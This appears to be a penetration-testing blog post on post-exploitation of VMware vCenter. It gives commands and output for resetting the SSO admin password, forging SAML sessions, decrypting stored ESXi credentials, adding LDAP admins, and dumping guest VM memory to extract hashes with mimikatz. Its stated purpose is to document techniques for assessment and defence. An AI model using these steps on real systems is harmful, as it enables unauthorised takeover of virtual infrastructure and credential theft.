Post Exploitation of VCenter

Post exploitation on VMWare VCenter server …

Background

Before we delve into the technical details of the post exploitation on VMWare VCenter server, let me first introduce you to 2 VMWare ESXI and VMWare VCenter Server Appliance (VCSA).

Let us first start with the ESXI. ESXI is an essential component of VMWare’s VSphere suite of tools and is a bare metal hypervisor that allows us to manage and control the resources of numerous servers.

VCSA on the other hand, consist of the web client and the server. VCSA is the tool that is used to monitor all the ESXI servers and could be used to gain access to all the ESXI servers.

Initial Access

As we all know, the VCenter consist of numerous N-days such as CVE-2021-22005, CVE-2021-21972 and the infamous log4j. Using these CVEs, we can easily obtain remote code execution on these servers. However, most of the online writeups stopped at the process of the initial exploitation and did not provide any furthur details on post-exploitation and hence, my motivation for this blog post.

There are numerous methods of post exploitation for VCenter, which can be broken down into the followin:

Also, I will be covering on some techniques that could be used for furthur exploitation from the VCenter:

Password reset

The fastest and easiest way would be to rest the password of the administrator user on vSphere to gain access to the vSphere web portal. vSphere has a built-in administrator user (administrator@vpshere.local) which allows us to change the login password.

In order to change the password, we will have to use /usr/lib/vmware-vmdir/vdcadmintool to change the password of the administrator@vsphere.local user. However, please keep in mind that modifying the credentials in such a way might affect the operations, especially if they have some automated scripts using the administrator user

root [/usr/lib/vmware ]# /usr/lib/vmware-vmdir/bin/vdcadmintool
/usr/lib/vmware-vmdir/bin/vdcadmintool


==================
Please select:
0. exploit
1. Test LDAP connectivity
2. Force start replication cycle
3. Reset account password
4. Set log level and mask
5. Set vmdir state
6. Get vmdir state
7. Get vmdir log level and mask
==================

3
Please enter account UPN: administrator@vsphere.local
New password is - 
<new password>

Session Hijacking

Another alternative way of gaining access to the vSphere web portal would be to do a session hijacking attack. To do so, we would have to extract the data.mdb file to extract the ldP certificate and forge a SAML request using the administrator user. Finally, we will authenticate to the vCenter server to obtain the session cookie.

For this, we will have to either obtain the data.mdb file from /storage/db/vmware-vmdir/data.mdb (if the machine is a Linux machine) or C:\ProgramData\VMWare\vCenterServer\data\vmdird\data.mdb (if the machine is a Windows machine)

Afterwards, we can use the script from here to obtain the session cookie

root@kali:~/vcenter# python3 vcenter_saml_login.py -p data.mdb -t <IP Address of VCenter>
[*] Successfully extracted the IdP certificate
[*] Successfully extracted trusted certificate 1
[*] Successfully extracted trusted certificate 2
[*] Obtaining hostname from vCenter SSL certificate
[*] Found hostname <Hostname of vCenter> for <IP Address of vCenter>
[*] Initiating SAML request with <IP Address of vCenter>
[*] Generating SAML assertion
[*] Signing the SAML assertion
[*] Attempting to log into vCenter with the signed SAML request
[+] Successfuly obtained Administrator cookie for <IP Address of vCenter>!
[+] Cookie: <Cookie>

After obtaining the session cookie, we can browse to https:///ui and modify the cookies to obtain access to the web portal. Do take note that we will have to modify the path to become ```/ui``` for this to work.

For this exploit, it only works well for vCenter 6.0.X. For versions 7 and above, there is an additional RelayState parameter in the SAML response and so, we will have to modify the exploit code according to here

Decrypting ESXI users stored in psql

In cases where we are able to gain SSH root access to the vCenter Servers but unable to gain access to the web portal, we can alternatively decrypt the passwords of the ESXI users stored in psql to gain access to the ESXI host.

Firstly, we will have to view vcdb.properties file from the server to obtain the psql password. In Linux machines, the file can be found at either /etc/vmware-vpx/vcdb.properties or /etc/vmware/service-state/vpxd/vcdb.properties. In Windows machine, the file can be found at C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties.

Afterwards, we can connect to the psql database on the localhost to obtain the encrypted passwords. In Linux machine, this can be done via /opt/vmware/vpostgres/current/bin/psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc. In Windows machine, this can be done via C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc.

Lastly, we will have to extract the key stored in symkey.dat file. On Linux machine, the file can be found at cat /etc/vmware-vpx/ssl/symkey.dat and on Windows machine, the file can be found at C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat

Next, we will have to decrypt the stored passwords. This can be easily done with the script from here. We would realize that all the users are vpxuser. However, this vpxuser is the administrator account on ESXI and would give us administrator access to all the ESXI hosts.

Adding admin user to LDAP

For this exploit, we will be using the script from here. To start with, we will have to use the following commands to obtain information regarding the dcAccount,dcAccountDN and the dcAccountPassword

python update.py getadmin
python update.py getuser

Using the information that we have obtained earlier, we can input the information when we run the following commands

python update.py adduser
python update.py addadmin

Again, do keep in mind that this might modify the LDAP and might affect some operations. Hence, proper permissions has to be sought for before trying to exploit the server in such a way.

Obtaining hash of administrator user from VCenter

Enough said about post exploitation of VCenter. Let us look at what we can furthur do after gaining access the the VCenter servers and/or the web portal. One of the things that we can do would be to obtain the hash of an administrator user belonging to a DC.

An alternative of doing so would be to use pysharpshere to first list out all the virtualmachines belonging to VCenter instance and afterwards, we can do a memory dump of the Guest OS. In cases where there are no snapshots available, the script will create a new snapshot for the Guest OS

$ pysharpsphere -H 192.168.100.49 -u administrator@vsphere.local -p password list
[*] Retrieve virtual machines list ...
DataCenter    MoID     Name                           Power    OS                                         Tools         IP
------------  -------  -----------------------------  -------  -----------------------------------------  ------------  --------------
Datacenter    vm-1015  Windows Server 2012 (VC67)     Off      Microsoft Windows Server 2012 (64-bit)     Current
Datacenter    vm-1030  VMware vCenter Server 7.0U2b   On       Other 3.x or later Linux (64-bit)          Unmanaged     192.168.100.49
Datacenter    vm-1017  VMware vCenter Server 6.7U3l   Off      Other 3.x or later Linux (64-bit)          Unmanaged
Datacenter    vm-1020  Operation Machine (Windows 7)  On       Microsoft Windows 7 (64-bit)               Current       192.168.100.2

$ pysharpsphere -H 192.168.100.49 -u administrator@vsphere.local -p password dump -t vm-1020
[*] Retrieve virtual machines list ...
[*] Finding snapshot on target machine vm-1020
[+] Found exists snapshot!
[*] Finding snapshot files ...
[*] Downloading .vmsn file ...
[+] Downloaded successfully: Ubuntu-Snapshot1.vmsn
[*] Downloading .vmem file ...
[+] Downloaded successfully: Ubuntu-Snapshot1.vmem

After obtaining the vmem and the vmsn file from the memoriy dump, we can proceed to use volatility to check the possible profiles of the vmsn file

./volatility -f <filename>.mem imageinfo

Using the profile that we have obtained from above, we can either use hashdump or lsadump to dump out the NTLM hash or the LSA hash of all the users

./volatility -f <filename>.mem --profile=<profile> lsadump
./volatility -f <filename>.mem --profile=<profile> hashdump

However in some cases, we might not be able to use volatility to dump out the hashes as the profile obtained from the first step might be incorrect. In such a case, we would have to create a memory dump from the vmsn and the vmem file. To start off, we will need to download vmss2core, WinDBG and mimikatz.dll

Next, we will use vmss2core to convert the vmem and vmsn files into a memory dump

./vmss2core -W8 <filename>.vmsn <filename>.vmem

Next, we will have to open the memory dump using WinDBG and load mimikatz.dll

Run .load c:\path\to\mimilib.dll

Lastly, we will have to search for the process and load its address before we execute the mimikatz to dump all the hashes

// Find the address of the process
!process 0 0 lsass.exe
// Load the process
.process /r /p <EPROCESS address>
// Execute mimikatz
!mimikatz

Obtaining cached credentials

Another thing that we can do would be to do bloodhound scan using the cached credentials that we have obtained. In order to do so, we would have to download the krb5.keytab file from /etc/krb5.keytab. Afterwards, we will decrypt the contents using the script from here

Using the information gathered from krb5.keytab, we can then do a bloodhound scan on the domain controller.

bloodhound-python -d <domain> -u VCENTER$ --hashes "<NTLM Hash>" -c all -ns <IP Address of dc>

Conclusion

With that, we have come to the end of the post-exploitation on vCenter. As we can see from all the different ways of exploiting vCenter, there are multiple ways and methods to gain access to either the administrative portal of vCenter or the numerous other ESXI servers. Hence, we should pay more attention during the deployment of the ESXI servers and the vCenter servers to eradicate misconfigurations and to ensure that N-day exploits are properly patched on time.